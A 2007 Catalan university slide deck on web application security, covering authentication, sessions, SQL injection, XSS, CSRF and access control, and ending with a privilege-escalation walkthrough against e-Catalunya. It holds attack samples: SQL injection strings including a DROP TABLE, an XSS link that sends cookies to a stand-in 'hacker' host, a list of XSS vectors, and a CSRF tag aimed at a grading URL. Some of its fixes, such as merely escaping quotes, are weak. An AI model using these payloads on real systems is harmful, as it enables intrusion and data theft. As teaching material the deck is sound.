Seguridad en aplicaciones web

LCFIB- 2007LCFIB- 2007

Seguretat en aplicacions web

Jordi Planadecursach [email protected]

Héctor Puente [email protected]


Parlarem de…

Protocol HTTP

Sistemes d’autenticació

Cookies

Vulnerabilitats més comuns

Polítiques de control d’accés

Tractament d’erros i logging


Parlarem de…

Com protegir dades sensibles

Polítiques de seguretat

Testing de seguretat


Introducció

Que tenen en comú lamajoria d’aplicacions web?


Que tenen el port 80 obert (o el 443)


AtacantServidor Web

• L’atacant envia una petició HTTP al servidor web

• El codi del servidor web realitza operacions per les quals no està preparat.

• Es retorna una resposta a l’atacant amb dades que pretenien ser segures.

• Que passa amb els insiders ?


Bugs d’aplicació

VS

Bugs de plataforma


La majoria d’atacs es realitzen desde el navegador

• Firefox plugins:

• LiveHTTP Headers

• Tamperdata

• Web Developer

• Web proxies:

• OWASP WebScarab

• Achilles

• Escaners de vulnerabilitats:

• Nessus

Com es realitzen els atacs?


0%

10%

20%

30%

40%

50%

60%

70%

80%

90%

Atacs Inversió

Xarxa

Aplicaions

75% dels atacs estan destinats a la capa d’aplicació

2/3 aplicacions web són en major o menor mesura vulnerables


• Mètodes: GET, POST, TRACE, etc…

• Headers

• A l’estándar HTTP hi ha 47 headers diferents

• Uns dels més usats són: Accept, User-Agent, Host, Referer, Set-Cookie

• Paràmetres• Passats per URL (GET)• Per formularis (POST)• Personalitzats per l’aplicació (headers)

HTTPHyper Text Transfer Protocol


GET http://www.fib.upc.edu/fib/buscar.html?lang=0&section=0&s=hola HTTP/1.0Accept: */*Accept-Language: esCookie: SSO_ID=Ba3U8owbH4z0Q/K12gU2Yw==; JSESSIONID=DCD16D163B38B02858E466A216FF7612.pim; Apache=147.83.58.208.1184685235517970User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)Host: raco.fib.upc.esConnection: Keep-Alive


POST https://raco.fib.upc.es:443/cas/servlet/lcfib.login.CASLogin HTTP/1.0Referer: http://www.fib.upc.edu/fib/buscar.html?lang=0&section=0Connection: Keep-AliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)Host: raco.fib.upc.esCache-Control: no-cacheCookie: CASTGC=TGT-4579-xzlCXcMfJzdZyMr5kKEQ0WmzM1ArOTuaXsp-50; JSESSIONID=AF2BCACA6BB144A4392EF4FA1B467605.pim; SSO_ID=Ba3U8owbH4z0Q/K12gU2Yw==;

url_service=https%3A%2F%2Fraco.fib.upc.es%2Fservlet%2Flcfib.racons.Portal&username=usuari&password=contrassenya&x=0&y=0


Interceptant peticions HTTP

Web Scarab


Mètodes d’autenticació

Com identificar qui està fent peticions?


• Mètodes d’identificar qui està fent les peticions

• Amb alguna cosa que saps (contrassenya)

• Alguna cosa que saps (token)

• Alguna cosa que ets (mètodes biomètrics)

• Una combinació dels anteriors


• Basic HTTP Authentication

• L’usuari envia una petició a una pàgina

• El servidor respon amb un error 401 (unauthorized) i avisa que accepta http authentication

• El navegador pregunta a l’usuari username i password, els codifica en base64 i els envia al servidor

• El servidor valida els credencials i autoritza o no.

No hi ha forma de deslogejar-se

La contrassenya s’envia en text plà

• Digest HTTP Authentication


• Autenticació basada en formularis

• Formulari amb POST

• Es crea una cookie

• Opció recomenada

• Tots els mètodes haurien d’anar acompanyats de SSL per tal de fer l’enviament de contrassenyes segur


• Una vegada s’envien els credencials s’han de validar contra un backend

• Base de dades SQL

• Directori LDAP

• Arxius XML

• /etc/passwd

• Altres mètodes

• Tots els mètodes haurien d’anar acompanyats de SSL per tal de fer l’enviament de contrassenyes segur


• Sniffing

• Connexió al mateix hub

• Connexió al mateix switch (arpspoofing)

• Xarxes wireless

• Xarxes intermitges (ISP’s)

• Accés al servidor de destí

• Man in the middle

• Ingenieria social

• Força bruta


• Recomanacions (No ensenyar mai les contrassenyes)

• Minimitzar el nombre de llocs on l’usuari es pot autenticar

• En aplicacions grans utilitzar mètodes d’autenticació centralizada, Single Sign On

• En els formularis on s’escriuen passwords utilitzar ocultació ******** <input type=“password” … >

• No guardar mai passwords dins el codi HTML generat (hiddens)

• Utilitzar HTTPS

• No manejar manualment tokens i identificadors sessions


• Recomanacions (Emmagatzament racional)

• Guardar contrassenyes encriptades (SHA-256 SHA-1024)

• En cas de no poder guardar-les en un backend encriptat

• Enviar les passwords únicament sobre HTTPS

• Esborrar passwords de memoria (memory dumps)

• Tenir en compte la memoria cache

• Utilitzar llibreries de seguretat de proveidors segurs

• JCE (Java)

• System.Security.Cryptography (.NET)


• Seguretat de la contrassenya

• Definir un tamany mínim de les contrassenyes

• Posar dates de caducitat en les contrassenyes

• Forçar que l’usuari no utilitzi contrassenyes referents a les seves dades

• No utilitzar contrassenyes amb paraules que apareixen al lloc web

• Potència d’una contrassenya

• R = Contrassenyes per segon (en remot 200, en local 10.000.000)

• C = Nombre de caràcters de la contrassenya

• S = Tamany de l’alfabet

P = S^C / R Exemple: R = 200 C = 5 S = 36

P = 84h


• Recomanacions (Els errors no donen pistes)

• No diferenciar quan s’ha introduit malament usuari o password

• Utilitzar el mateix missatge d’error per tot el que no sigui un login correcte

• Recomanacions (Bloqueix de comptes)

• No banejar mai l’usuari per ip

• Bloquejar l’usuari després de 3 intents insatisfactoris

• Desbloquejar l’usuari després de cert temps o manualment

• Utilitzar captcha’s després de 3 intents


• Recuperació de la contrassenya

• Mai enviar la contrassenya anterior

• Donar la possibilitat d’introduir una “pregunta secreta”

• No deixar que la resposta a la rpegunta sigui més dèbil que la contrassenya

• Canvi de contrassenya

• Preguntar sempre la contrassenya anterior abans de fer el canvi

• Demanar una reautenticació després del canvi de contrassenya


Una bona gestió de les contrassenyes implica una aplicació segura?


Cookies


• Que és una cookie?

• S’haurien d’utilitzar només per identificar sessions

• També s’utilitzen per tracking i balanceix

Session ID Objecte Sessió

1AFD6786C876A087F6D

O7CAFO6FAB6O6BB55A

76C98A6F9A6987F9083

….

Http Session


• Cicle de vida d’una sessió

• Es visita per primer cop un lloc web (el servidor envia una cookie al client)

• Autenticació (a la sessió s’indica que l’usuari ha estat autenticat)

• La sessioó caduca per Idle o per un timeout absolut

• Logout (borrat de la cookie i sortida del lloc web)

• Reautenticació (generar un altre cookie)

No inventar-se un sistema de sessions propi

Utilizar sistemes de sessions integrats amb la plataforma JSession, SessionID


Quanta gent fa un logout abans de tancar el navegador?

La majoria de cookies no tenen timeout


• Amanaces: Session hijacking

• Endevinar la session id

• Força bruta (inprovable)

• Tenir accés al codi font i deduir quina serà per el pròxim usuari

• Robar la session Id• Cross site scripting (XSS)• Sniffing (no usar HTTPS)• URL-Rewriting, caches, logs, copy-paste, etc…• Fixar la session Id


• Recomanacions en cas d’inventar-se un sistema de sessions

• La session Id no s’ha de poder endevinar

• Ha de ser suficientment llarga (20bytes)

• Ha de ser suficientment aleatoria

• Ha de ser única per cada usuari loggejat

• És díficil mantenir aquestes propietats

• No és tants sols un idintificador aleatori

• S’utilitzen algoritmes de disperssió

• Hi ha contingut criptgràfic


• En resum, recomanacions geneals

• Donar un mecanisme de LogOut

• Les sessions haurien de caducar

• Invalidar la cookie anterior en un relogin.

• No s’haurien de loggejar ni cachejar sessions

• No posar la session Id a la url com a paràmtre GET

• No inventar-se el sistema de sessions


Una bona gestió de les sessions implica una aplicació segura?


Vulnerabilitats més usuals


• Validació de l’entrada

• SQL Injection

• Blind SQL Injection

• XPath/Command/Altres Injections

• Buffers overflow

• Cross Site Scripting (XSS)

• Cross Site Request Forgery (CSRF)

• Remote file inclusion


• Adonar-se del contingut que es pot posar dins un formulari

• Detectar si el contingut és realment l’esperat

Validació de l’entrada


AtacantServidor Web

• L’atacant envia una petició HTTP al servidor web

• El codi del servidor web realitza operacions per les quals no està preparat.

• Es retorna una resposta a l’atacant amb dades que pretenien ser segures.

SQL Injection


SQL Injection

• Són vulnerables aquelles aplicacions que tenen de backend una base de dades SQL

<form method="post" action="http://www.diseney.com/login.php"> <input name=“username" type="text" id="tfUName"> <input name=“password" type="password" id="tfUPass"> </form>

String username = request.getParameter(“username”);String password = request.getParameter(“password”);

String sql = “SELECT * FROM USERNAME WHERE username=‘” + username + “’ and password=‘” + password + “’”; ResultSet rs = smt.executeQuery(sql);

If( rs.results() > 0) login = true;else login = false;


Username: admin Password: 1234SQL generat: SELECT * FROM logins WHERE username=‘admin’ AND password=‘1234’;

Username: admin Password: ‘ OR ‘’=‘

SQL generat: SELECT * FROM logins WHERE username=‘admin’ AND password=‘‘ OR ‘’=‘’;

Username: admin Password: ’; DROP TABLE logins where ‘’=‘SQL generat: SELECT * FROM logins WHERE username=‘admin’ AND password=‘’;

drop table logins where ‘’=‘’;

String sql = “SELECT * FROM logins WHERE username=‘” + username + “’ AND password=‘” + password + “’”;


Com s’evita la SQL injection?

És tan fàcil com escapar cometes

“ \”‘ \’


Blind SQL Injection

• Tot hi escapar les cometes...

<form method="post" action="http://www.diseney.com/login.php"> <input name=“username" type="text" id="tfUName"> <input name=“pin_code" type="password" id="tfUPass"> </form>

String username = request.getParameter(“username”);String pin_code = request.getParameter(“password”);

String sql = “SELECT * FROM USERNAME WHERE username=‘” + username + “’ and pin_code= ” + pin_code; ResultSet rs = smt.executeQuery(sql);

If( rs.results() > 0) login = true;else login = false;


Username: admin Password: 1 OR 1=1SQL generat: SELECT * FROM logins WHERE username=‘admin’ AND pin_code=1 OR 1=1

Altres vectors:

1 OR HAVING 1=1 Error, ‘cuenta_corriente’ is not on the group by clause

1 OR GROUP BY cuenta_corriente HAVING 1=1 Error, ‘dni’ is not on the group by clause

1 OR GROUP BY cuenta_corriente,dni HAVING 1=1 Error, ‘direccion’ is not on the group by clause

1 OR (SELECT cuenta_corriente FROM logins) = “1234 1000 6666 45256”

1 OR (SELECT cuenta_corriente FROM logins) > “5000 0000 0000 0000”

1 OR (SELECT substr(cuenta_corriente,1) FROM logins) = chr(1)

String sql = “SELECT * FROM logins WHERE username=‘” + username + “’ AND pin_code=” + pin_code;


Com s’evita la BSQL injection?

És tan fàcil com validar els enters

String pinString = request.getParameter(“pin_code”);

try{ int pinCode = Integer.parseInt(pinString);}catch (NumericException ex){ System.out.println(“Hacker go away!”);}


Buffer Overflow

#include <stdlib.h>#include <stdio.h>

char* read_POST(){ char query_string[1024]; int query_size; query_size = atoi(getenv(“CONTENT_LENGTH”)); fread(query_string,query_size,1,stdin); return query_string;}


INPUT

• Codi a executar (shellcode)

• Acabar d’emplenar fins 1024 bytes

• 4 bytes qualsevols

• Adreça de retorn que ha de conicidir amb l’inici del buffer



Buffer Overflow


char* read_POST(){ char query_string[1024]; int query_size; query_size = atoi(getenv(“CONTENT_LENGTH”)); fread(query_string,query_size,1,stdin); return query_string;}


Solució: comprovar tamany de l’entrada


char* read_POST(){ char query_string[1024]; int query_size; query_size = atoi(getenv(“CONTENT_LENGTH”)); fread(query_string,min(query_size,1024),1,stdin); return query_string;}


• Depenent del backend que s’utilitza

• Validar que l’entrada no pugui ser interpetada com a codi del llenguatge per communicar-se amb el backend

• XPath injection (Base de dades Exist, arxius XML)

• Command injection

Altres injections

String consulta = “user[name/text()=‘” + usuari + ”' and password/text()=‘” + password + ”']/account/text())”

XmlReader.query(consulta);


• És una vulnerabilitat que permet executar scripts al exploador de la víctima

• Perquè XSS?

• Són vulnerables els navegadors que utilitzen Javascript (la majoria) o VBScript (internet explorer).

• Es poden posar scripts malignes en pàgines web

Cross Site Scripting (XSS)

• Conseqüències

• Moltes vegades aquest script el que fan és robar cookies

• Es poden “desfassar” webs

• Si l’explorador té un bug del sandbox estas perdut


• L’atacant troba un lloc web on poder posar JavaScript

• L’atacant posa un script maligne

• Qualsevol persona que visiti aquest lloc web estarà executant aquest script

• L’script pot enviar la cookie a la pàgina de l’atacant i aquest pot realitzar un atac de suplantació d’identitat.

• Si l’explorador té un bug del sandbox l’script pot navegar a altres llocs webs i robar dades confidencials, adreces de correu (gmail), contes bancaris (bancs), sessions, etc.

• Si l’explorador corre en permisos d’administració es poden arribar a crear arxius a disc i executa codi arbritari.

Stored XSS


• L’atacant no pot posar directament javascript

• Aquest troba un camp a un formulari on el s’introdueix apareix directament per pantalla (exemple: buscador)

• L’atacant genera un link malicios per tal de que quan es cliqui s’executi aquest script

•http://www.disney.com/buscador.jsp?s=<script>document.url=“http://hacker/pagina.php”+document.cookie;</script

>

• Quan es clica el link l’usuari veu per pantalla el que ha buscat, que en aquest cas és: <script>document.url=“http://hacker/pagina.php”+document.cookie;</script>

• S’envia la cookie a la pàgina de l’atacant

• Els atacs XSS es tornen molt més perillosos si s’utilitza AJAX perque es poden tenir peticions obertes invisibles.

Reflected XSS


Com s’eviten els atacs XSS?

S’anula completament el “Rich Text”

o

Es posa un ciri al monestir de Montserrat


Vectors XSS

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

<IMG SRC="javascript:alert('XSS');">

<IMG SRC=javascript:alert('XSS')>

<IMG SRC=JaVaScRiPt:alert('XSS')>

<IMG SRC=javascript:alert("XSS")>

<IMG SRC=javascript:&

#97;lert('XSS')>

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x

61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>


Vectors XSS

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

<<SCRIPT>alert("XSS");//<</SCRIPT>

<iframe src=http://ha.ckers.org/scriptlet.html <

\";alert('XSS');//

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

<BODY BACKGROUND="javascript:alert('XSS')">


Evitar XSS

• Cada dia en surten de nous

• Són molt difícils de detectar

• No hi ha cap llibreria que els detecti

• Es poden evitar utilitzan application firewalls

• Pàgina web de referència: http://ha.ckers.org/xss.html

• Codificant l’entrada amb entitats HTML s’evita, es perd el “rich text”

• S’han de seguir polítiques molt estrictes

• Utilizant wrappers (llenguatges intermitjos) s’eviten


Cross Site Reference Forgery (CSRF)

• Bàsicament consisteix en aconseguir que l’explorador de la víctima visiti URL arbitràries.

• Es com si l’atacant t’agafa el ratolí i et fa clicar allà on vol

• Permet realitzar operacions complexes (logejarte en un banc i fer una tranferència)

• Consisteix en posar les url’s que es vol que la victima visiti dins d’un tag <img>

• Exemple: Enviem un mail al webmaster del raco amb la següent imatge

<img src=“http://raco.fib.upc.edu/posar-notes.jsp?user=hacker&asig=TC&nota=10”>


Com s’eviten els atacs CSRF?

Deixant d’utilitzar el correu electrònic.

Molts lectors de mails pregunten abans de carregar imatges.


Evitar CSRF

• Passant paràmetres per POST

• Les operacions sensibles s’han de fer en diversos passos

• No obrint imatges de correus electrònics de persones en que no es confia

• La combinació de XSS + CSRF només té una forma d’evitar-se

• Abans de realitzar operacions sensibles (notes, transferències bancaries) posar sistemes anti-robots: captcha, preguntes, operacions matemàtiques


Controls d’accés

Que pot fer i no pot fer un usuari?

• Limitar accés• Usuaris no autenticats (públic i privat)

• Identificació d’usuaris (qui, que veuen, que poden fer)

• Mes complicat del que sembla


• On es fa el control

• Entorn (servidor, filtre)

• Canvi de urls /usuari/a0000000/

•Controlador (a quina lògica de negoci crida)

•Lògica de negoci (a quina funció es crida)

•Capa de dades (quines dades es mostren)

•Capa de presentació (quins botons es mostren)


• Definir les regles

•Decidir i escriure funcions i dades a protegir

•Extreure regles d’accés

•Desenvolupar una matriu d’accés

•Definir quina capa implementarà cada regla


• Capa de presentació

•Quins botons pot veure l’usuari i a on se li permet accedir

•Decideix quina pàgina mostrar

• Com saltar-s’ho:

•Capa de presentació no limita que pot fer l’usuari

•Manipular les URL directament

•Guardar l’HTML, canviar-ho i enviar-ho al servidor

•Utilitzar proxy per alterar contingut


• Entorn

•Protecció de contingut estàtic - Servidor web

•Protecció de contingut dinàmic - Servidor d’aplicacions

•Filtres de seguretat

• Bones pràctiques

•Limitar extensions utilitzades

•Limitar accés a contingut estàtic/dinàmic

•Verificar rutes accessibles en la aplicació


• Capa de negoci

•Quines funcions pot executar l’usuari

•Decideix quines funcions s’han d’executar


•Redirigint la petició al mateixa funció i pintar en funció de l’origen


• Capa de dades

•Quines dades por veure l’usuari

•Decideix quines consultes es poden executar sobre les dades

•Limitar les consultes segons politiques de seguretat.


•El problema de les referències d’objectes

•Ids de productes, contes bancàries


• Administració

• Funcions de superusuari

• Funcions de manteniment

• Bones pràctiques:

•Separar aplicació per superusuari i aplicació per usuaris normals físicament.

•Diferent entorn

•Limitat accés (VPN, IPs MACs)


Errors d’autenticació

Que pot indicar un error

• Pèrdua de servei

• Atac en progrés

• Afectar a la seguretat


• Tractament d’errors• Totes les aplicacions generen errors

• Tractar TOTS els errors

• No permetre que un error afecti al servidor

• Capturar tots els errors al codi (blocs try-catch)

• Registrar l’error a alguna banda

• Determinar quina informació mostrar a l’usuari

• Missatge genèric, missatge específic, resultats parcials

• Bones pràctiques:

• Els errors mai han de revelar informació de la implementació

•Stacktraces, detalls de l’error


• Questions importants

• Es important detectat atacs en progrés?

• Hi ha formes de detectar atacs en progrés?

• Quines politiques es segueixen per detectar atacs? Events, Límits

• Analitzar els errors

• Com respondre a condicions d’errors

• Els logs han de permetre identificar situacions no controlades

• Capturar suficient informació

• S’ha de poder separar informació de debug i de control


Exemple pràctic amb e-Catalunya


Objectiu

• Sense tenir privilegis crear un usuari amb permisos d’administració

Procediment

• Esbrinar URL de creació d’usuari i canvi de privilègis• Creació d’un script que cridi aquestes URL• Adjuntar l’script en una eina• Fer que un administrador executi aquest script

En la última versió: Modificació per tal de no poder incluir script a les eines

Problemàtica: Dificultat de detectar la inclusió d’un script



Hacker

Obtenció d’URL d’administració

CREAR NOU USUARI+ Esbrinar la URL de la pàgina de crear un nou usuari+ Esbrinar el nom dels camps del formulari (nom, id, email)+ Construir URL tal que si s’accedeix a ella es dona d’alta l’usuari especificat

ASSIGNAR PERMISOS D’ADMINISTRACIÓ+ Idem que l’anterior però usant la pàgina d’assignar permisos

Obtenir URL


Hacker<script> … crear_usuari(X) fer_administrador(X) …</script>

Creació de Script maligne

SCRIPT+ Cridar URL1 (crear nou usuari)+ Cridar URL2 (assigna al nou usuari permisos d’administrador)

(si s’utilitzen peticions AJAX l’usuari no se n’adona de que ha executat un script)


Hacker

Introduir script

maligne com a comentari

a l’e-blog<script> … crear_usuari(X) administrador(X) …</script>

Introduir SCRIPT a l’e-Blog


Hacker

Ingenieria social

Administrador

Enviar un mail a l’admin amb l’enllaç al blog

Quan l’administrador vagi a veure el Blog, si aquest està identificat,s’executarà l’script insertat.

Aquest crearà un nou usuari amb permisos d’administrador que el hacker podrà utilitzar per fer maldats.

També es podria robar la cookie de l’admin per tal de fer unasuplantació d’identitat.


Technology

Seguridad en aplicaciones web